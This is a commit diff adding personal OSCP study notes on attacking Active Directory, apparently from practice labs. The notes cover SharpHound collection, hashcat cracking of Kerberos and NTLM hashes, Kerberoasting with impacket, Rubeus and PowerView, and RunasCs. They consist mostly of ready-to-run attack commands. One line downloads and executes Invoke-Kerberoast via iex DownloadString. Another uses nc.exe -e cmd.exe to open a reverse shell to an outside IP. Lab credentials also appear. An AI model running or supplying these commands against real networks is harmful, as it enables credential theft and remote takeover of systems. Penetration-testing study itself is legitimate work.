first commit

Windows/Active Directory for OSCP/Valid Credentials/BloodHound.md

@@ -0,0 +1,13 @@
+
+```sh
+Location /opt/BloodHound-linux-x64/resources/app/Collectors
+
+sudo neo4j console
+sudo ./BloodHound --no-sandbox
+
+# On victim machine
+Import-Module ./SharpHound.ps1
+invoke-bloodhound -collectionmethod all -domain htb.local -ldapuser svc-alfresco -ldappass s3rvice
+
+.\sharp.exe -c all -d <domain>
+```

Windows/Active Directory for OSCP/Valid Credentials/CrackHash.md

@@ -0,0 +1,13 @@
+
+
+
+```sh
+#Kerberos 5 TGS etype 23
+	hashcat -m 13100 -a 0 hash rockyou.txt
+#Kerberos asrep 23
+	hashcat -m 18200 hash rockyou.txt
+#NTLM (mimikatz sam dump, sekurlsa::logonpasswords)
+	hashcat -m 1000 hash <wordlist>
+
+```
+![unnamed_813da3841a61459c8ec272cffc3b78f2](unnamed_813da3841a61459c8ec272cffc3b78f2.png)

Windows/Active Directory for OSCP/Valid Credentials/Kerberoasting.md

@@ -0,0 +1,22 @@
+First Find SPN of the kerberoastable user (Powerview script)
+
+```sh
+- impacket-GetUserSPNs -request -dc-ip <dc-ip> <full domain>/<user>:<password>
+- impacket-GetUserSPNs -no-preauth "<asrep_user>" -usersfile "<userlist.txt>" -dc-host "<dc_ip>" "<domain>"/
+- Rubeus.exe kerberoast
+
+# Powerview: Get Kerberoast hash of a user
+Request-SPNTicket -SPN "<SPN>" -Format Hashcat #Using PowerView Ex: MSSQLSvc/mgmt.domain.local
+
+# Powerview: Get all Kerberoast hashes
+Get-DomainUser * -SPN | Get-DomainSPNTicket -Format Hashcat | Export-Csv .\kerberoast.csv -NoTypeInformation
+
+# Rubeus
+.\Rubeus.exe kerberoast /outfile:hashes.kerberoast
+.\Rubeus.exe kerberoast /user:svc_mssql /outfile:hashes.kerberoast #Specific user
+.\Rubeus.exe kerberoast /ldapfilter:'admincount=1' /nowrap #Get of admins
+
+# Invoke-Kerberoast
+iex (new-object Net.WebClient).DownloadString("https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Kerberoast.ps1")
+Invoke-Kerberoast -OutputFormat hashcat | % { $_.Hash } | Out-File -Encoding ASCII hashes.kerberoast
+```

Windows/Active Directory for OSCP/Valid Credentials/Runas (Invoke-RunasCs).md

@@ -0,0 +1,12 @@
+Get that token authorization on windows so we can run bloodhound.
+
+[RunasCs/Invoke-RunasCs.ps1 at master · antonioCoco/RunasCs · GitHub](https://github.com/antonioCoco/RunasCs/blob/master/Invoke-RunasCs.ps1)
+
+```sh
+runas /netonly /user:active.htb\svc_tgs cmd
+```
+
+```sh
+Invoke-RunasCs svc_mssql trustno1 "cmd /c C:\xampp\htdocs\uploads\nc.exe -e cmd.exe 192.168.45.227 53"
+WORKS EVERYWHERE
+```